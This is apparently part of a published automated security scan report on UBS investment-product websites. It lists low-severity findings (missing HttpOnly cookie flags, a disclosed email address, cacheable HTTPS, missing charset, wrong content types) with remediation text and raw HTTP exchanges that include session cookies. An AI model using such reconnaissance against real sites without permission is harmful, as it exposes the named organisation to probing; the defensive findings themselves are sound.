function createFlashChart(chartName,importer,xmlCreatorPath,isin,type)
{document.write('<object classid="clsid:D27CDB6E-AE6D-11cf-96B8-444553540000" codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=7,0,19,0" width="458" height="400" title="Graph">');document.write('<param name="movie" value="Flash/'+chartName+'?path='+importer+'?target='+xmlCreatorPath+'|'+isin+'|'+type+'" />
...[SNIP]...

4. Cookie without HttpOnly flag set  previous  next
There are 2 instances of this issue:

Issue background

If the HttpOnly attribute is set on a cookie, then the cookie's value cannot be read or set by client-side JavaScript. This measure can prevent certain client-side attacks, such as cross-site scripting, from trivially capturing the cookie's value via an injected script.

Issue remediation

There is usually no good reason not to set the HttpOnly flag on all cookies. Unless you specifically require legitimate client-side scripts within your application to read or set a cookie's value, you should set the HttpOnly flag by including this attribute within the relevant Set-cookie directive.

You should be aware that the restrictions imposed by the HttpOnly flag can potentially be circumvented in some circumstances, and that numerous other serious attacks can be delivered by client-side script injection, aside from simple cookie stealing.



4.1. http://keyinvest-us.ubs.com/EN/Disclaimer.aspx  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://keyinvest-us.ubs.com
Path:   /EN/Disclaimer.aspx

Issue detail

The following cookie was issued by the application and does not have the HttpOnly flag set:The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

POST /EN/Disclaimer.aspx?returnUrl=%2fEN%2fshowpage.aspx%3fpageID%3d62 HTTP/1.1
Host: keyinvest-us.ubs.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://keyinvest-us.ubs.com/EN/Disclaimer.aspx?returnUrl=/EN/showpage.aspx?pageID=62
Cookie: ASP.NET_SessionId=unpccz45ctwhigull3urhaqg; BIGipServerUBS2_80=402719498.20480.0000; __utma=58573488.466518492.1316458126.1316458126.1316458126.1; __utmb=58573488; __utmc=58573488; __utmz=58573488.1316458126.1.1.utmccn=(referral)|utmcsr=fakereferrerdominator.com|utmcct=/referrerPathName|utmcmd=referral
Content-Type: application/x-www-form-urlencoded
Content-Length: 10021

__EVENTTARGET=ctl00%24ContentPlaceHolder%24btnSubmit&__EVENTARGUMENT=&__VIEWSTATE=zXi4IazKWkPm88MV%2FoT2Bu1hGG3ce3wS8sKmQMJsOwvcicDWyRwBNXGVvpvBjFV%2B4ZKHwoRFmJgkBXMk9x8Gs0aLPoFyE8TNgFdEDB7GPx8KbpVZZI
...[SNIP]...

Response

HTTP/1.1 302 Found
Cache-Control: private
Content-Type: text/html; charset=utf-8
Location: /EN/showpage.aspx?pageID=62
Server: Smarthouse Lightspeed 3
Set-Cookie: AcceptDisclaimer=accepted; expires=Mon, 03-Oct-2011 13:47:33 GMT; path=/
Date: Mon, 19 Sep 2011 13:47:33 GMT
Content-Length: 152

<html><head><title>Object moved</title></head><body>
<h2>Object moved to <a href="%2fEN%2fshowpage.aspx%3fpageID%3d62">here</a>.</h2>
</body></html>

4.2. http://keyinvest-us.ubs.com/EN/showpage.aspx  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://keyinvest-us.ubs.com
Path:   /EN/showpage.aspx

Issue detail

The following cookie was issued by the application and does not have the HttpOnly flag set:The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

GET /EN/showpage.aspx?pageID=62 HTTP/1.1
Host: keyinvest-us.ubs.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://keyinvest-us.ubs.com/EN/Disclaimer.aspx?returnUrl=/EN/showpage.aspx?pageID=62
Cookie: ASP.NET_SessionId=unpccz45ctwhigull3urhaqg; BIGipServerUBS2_80=402719498.20480.0000; __utma=58573488.466518492.1316458126.1316458126.1316458126.1; __utmb=58573488; __utmc=58573488; __utmz=58573488.1316458126.1.1.utmccn=(referral)|utmcsr=fakereferrerdominator.com|utmcct=/referrerPathName|utmcmd=referral; AcceptDisclaimer=accepted

Response

HTTP/1.1 200 OK
Cache-Control: private
Content-Type: text/html; charset=utf-8
Vary: Accept-Encoding
Server: Smarthouse Lightspeed 3
Set-Cookie: UBSRMPDISC=UBSRMPDISC; path=/
Date: Mon, 19 Sep 2011 13:47:35 GMT
Content-Length: 100759


<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head id="ctl00_Head1"><title>
   UBS Str
...[SNIP]...

5. Email addresses disclosed  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://keyinvest.ibb.ubs.com
Path:   /error/error.html

Issue detail

The following email address was disclosed in the response:

Issue background

The presence of email addresses within application responses does not necessarily constitute a security vulnerability. Email addresses may appear intentionally within contact information, and many applications (such as web mail) include arbitrary third-party email addresses within their core content.

However, email addresses of developers and other individuals (whether appearing on-screen or hidden within page source) may disclose information that is useful to an attacker; for example, they may represent usernames that can be used at the application's login, and they may be used in social engineering attacks against the organisation's personnel. Unnecessary or excessive disclosure of email addresses may also lead to an increase in the volume of spam email received.

Issue remediation

You should review the email addresses being disclosed by the application, and consider removing any that are unnecessary, or replacing personal addresses with anonymous mailbox addresses (such as helpdesk@example.com).

Request

GET /error/error.html HTTP/1.1
Host: keyinvest.ibb.ubs.com
Proxy-Connection: keep-alive
Accept: */*
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.163 Safari/535.1
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: ubslang=en-US; www-stats=13281a03367.8f6b8a7c; WT_FPC=id=14.96.186.152-3742983120.30176155:lv=1316474681327:ss=1316474388172; KeyInvest=127.0.0.1.1316439925882161

Response

HTTP/1.1 200 OK
Date: Mon, 19 Sep 2011 13:45:50 GMT
Server: Apache/2.2.3 (Unix) mod_ssl/2.2.3 OpenSSL/0.9.8d mod_perl/2.0.2 Perl/v5.8.8
Last-Modified: Mon, 18 Feb 2008 22:17:22 GMT
ETag: "1ace08-11bc-1eb36080"
Accept-Ranges: bytes
Content-Length: 4540
Content-Type: text/html

<html>
<head>
<meta name="description" content="UBS investment products">
<meta name="language" content="english">
<meta name="author" content="UBS +41 1 239 51 62">
<meta name="keywords" content="UBS
...[SNIP]...
<a href="mailto:eHelp@ubs.com?subject=UBS%20-%20Investment%20Products%20-%20Unable%20to%20process%20request" TARGET="_top">
...[SNIP]...
<a href="mailto:eHelp@ubs.com?subject=UBS%20-%20Investment%20Products%20-%20Unable%20to%20process%20request">eHelp@ubs.com</a>
...[SNIP]...

6. Cacheable HTTPS response  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   https://quotes-public1.ubs.com
Path:   /app/ABU/3/QCoreWeb/GRT_3_Dispatch/3.0.0/x/bcqv/main/js/noint/x/bcqv/bcProcessSearch.do

Issue description

Unless directed otherwise, browsers may store a local cached copy of content received from web servers. Some browsers, including Internet Explorer, cache content accessed via HTTPS. If sensitive information in application responses is stored in the local cache, then this may be retrieved by other users who have access to the same computer at a future time.

Issue remediation

The application should return caching directives instructing browsers not to store local copies of any sensitive data. Often, this can be achieved by configuring the web server to prevent caching for relevant paths within the web root. Alternatively, most web development platforms allow you to control the server's caching directives from within individual scripts. Ideally, the web server should return the following HTTP headers in all responses containing sensitive content:

Request

GET /app/ABU/3/QCoreWeb/GRT_3_Dispatch/3.0.0/x/bcqv/main/js/noint/x/bcqv/bcProcessSearch.do?first=1&m(searchBySymbol)=1&m(bcvProfile)=BCQV_CH&m(searchInput)=xss&m(lang)=en&NavLB_PQ=1316440723 HTTP/1.1
Host: quotes-public1.ubs.com
Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.163 Safari/535.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: ubslang=en-US; www-stats=13281a03367.8f6b8a7c; WT_FPC=id=14.96.186.152-3742983120.30176155:lv=1316480392196:ss=1316479823573; NavLB_PQ=quotes-public1.ubs.com

Response

HTTP/1.1 200 OK
Date: Mon, 19 Sep 2011 13:58:51 GMT
Server: Apache
Content-Language: en
Cache-Control: public, max-age=300, s-maxage=300
P3P: CP="OTI DSP CURa OUR LEG COM NAV INT"
Expires: Mon, 19 Sep 2011 14:03:51 GMT
Content-Type: text/html; charset=UTF-8
Connection: close
Content-Length: 7554


<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
<html>
<head>
   <meta http-equiv="content-type" content="text/html; charset=UTF-8">
   <title>
...[SNIP]...

7. HTML does not specify charset  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://keyinvest.ibb.ubs.com
Path:   /error/error.html

Issue description

If a web response states that it contains HTML content but does not specify a character set, then the browser may analyse the HTML and attempt to determine which character set it appears to be using. Even if the majority of the HTML actually employs a standard character set such as UTF-8, the presence of non-standard characters anywhere in the response may cause the browser to interpret the content using a different character set. This can have unexpected results, and can lead to cross-site scripting vulnerabilities in which non-standard encodings like UTF-7 can be used to bypass the application's defensive filters.

In most cases, the absence of a charset directive does not constitute a security flaw, particularly if the response contains static content. You should review the contents of the response and the context in which it appears to determine whether any vulnerability exists.

Issue remediation

For every response containing HTML content, the application should include within the Content-type header a directive specifying a standard recognised character set, for example charset=ISO-8859-1.

Request

GET /error/error.html HTTP/1.1
Host: keyinvest.ibb.ubs.com
Proxy-Connection: keep-alive
Accept: */*
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.163 Safari/535.1
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: ubslang=en-US; www-stats=13281a03367.8f6b8a7c; WT_FPC=id=14.96.186.152-3742983120.30176155:lv=1316474681327:ss=1316474388172; KeyInvest=127.0.0.1.1316439925882161

Response

HTTP/1.1 200 OK
Date: Mon, 19 Sep 2011 13:45:50 GMT
Server: Apache/2.2.3 (Unix) mod_ssl/2.2.3 OpenSSL/0.9.8d mod_perl/2.0.2 Perl/v5.8.8
Last-Modified: Mon, 18 Feb 2008 22:17:22 GMT
ETag: "1ace08-11bc-1eb36080"
Accept-Ranges: bytes
Content-Length: 4540
Content-Type: text/html

<html>
<head>
<meta name="description" content="UBS investment products">
<meta name="language" content="english">
<meta name="author" content="UBS +41 1 239 51 62">
<meta name="keywords" content="UBS
...[SNIP]...

8. Content type incorrectly stated  previous
There are 2 instances of this issue:

Issue background

If a web response specifies an incorrect content type, then browsers may process the response in unexpected ways. If the specified content type is a renderable text-based format, then the browser will usually attempt to parse and render the response in that format. If the specified type is an image format, then the browser will usually detect the anomaly and will analyse the actual content and attempt to determine its MIME type. Either case can lead to unexpected results, and if the content contains any user-controllable data may lead to cross-site scripting or other client-side vulnerabilities.

In most cases, the presence of an incorrect content type statement does not constitute a security flaw, particularly if the response contains static content. You should review the contents of the response and the context in which it appears to determine whether any vulnerability exists.

Issue remediation

For every response containing a message body, the application should include a single Content-type header which correctly and unambiguously states the MIME type of the content in the response body.


8.1. http://keyinvest-us.ubs.com/EN/GenericImage.ashx  previous  next

Summary

Severity:   Information
Confidence:   Firm
Host:   http://keyinvest-us.ubs.com
Path:   /EN/GenericImage.ashx

Issue detail

The response contains the following Content-type statement:The response states that it contains a JPEG image. However, it actually appears to contain unrecognised content.

Request

GET /EN/GenericImage.ashx?kind=disclaimersub&width=800&term=Disclaimer_Sub HTTP/1.1
Host: keyinvest-us.ubs.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: image/png,image/*;q=0.8,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://keyinvest-us.ubs.com/EN/Disclaimer.aspx?returnUrl=/EN/showpage.aspx?pageID=62
Cookie: ASP.NET_SessionId=unpccz45ctwhigull3urhaqg; BIGipServerUBS2_80=402719498.20480.0000

Response

HTTP/1.1 200 OK
Cache-Control: public, max-age=604800
Content-Type: image/jpeg
Expires: Mon, 26 Sep 2011 13:47:23 GMT
Last-Modified: Mon, 19 Sep 2011 13:47:23 GMT
Server: Smarthouse Lightspeed 3
Date: Mon, 19 Sep 2011 13:47:23 GMT
Content-Length: 32768

......JFIF.....`.`.....C....................................................................C............................................................................"..............................
...[SNIP]...

8.2. http://keyinvest-us.ubs.com/EN/images/box2_image2.jpg  previous

Summary

Severity:   Information
Confidence:   Firm
Host:   http://keyinvest-us.ubs.com
Path:   /EN/images/box2_image2.jpg

Issue detail

The response contains the following Content-type statement:The response states that it contains a JPEG image. However, it actually appears to contain a GIF image.

Request

GET /EN/images/box2_image2.jpg HTTP/1.1
Host: keyinvest-us.ubs.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: image/png,image/*;q=0.8,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://keyinvest-us.ubs.com/EN/showpage.aspx?pageID=62
Cookie: ASP.NET_SessionId=unpccz45ctwhigull3urhaqg; BIGipServerUBS2_80=402719498.20480.0000; __utma=58573488.466518492.1316458126.1316458126.1316458126.1; __utmb=58573488; __utmc=58573488; __utmz=58573488.1316458126.1.1.utmccn=(referral)|utmcsr=fakereferrerdominator.com|utmcct=/referrerPathName|utmcmd=referral; AcceptDisclaimer=accepted; UBSRMPDISC=UBSRMPDISC

Response

HTTP/1.1 200 OK
Cache-Control: max-age=345600
Content-Type: image/jpeg
Last-Modified: Wed, 01 Apr 2009 10:46:54 GMT
Accept-Ranges: bytes
ETag: "a71bda2bb7b2c91:0"
Server: Smarthouse Lightspeed 3
Date: Mon, 19 Sep 2011 13:47:41 GMT
Content-Length: 8204

GIF89ap.j.......%MP......g............&(.8:=kr...IQF.........|...........urp......Lz.Bjx...z..............WH;......1]b.........Uw.#JMDr{+UY\......zc..f*QU...}..8ek...6ci.......BE.rW..........<@...h...
...[SNIP]...

Report generated by XSS.CX at Mon Sep 19 14:08:55 CDT 2011.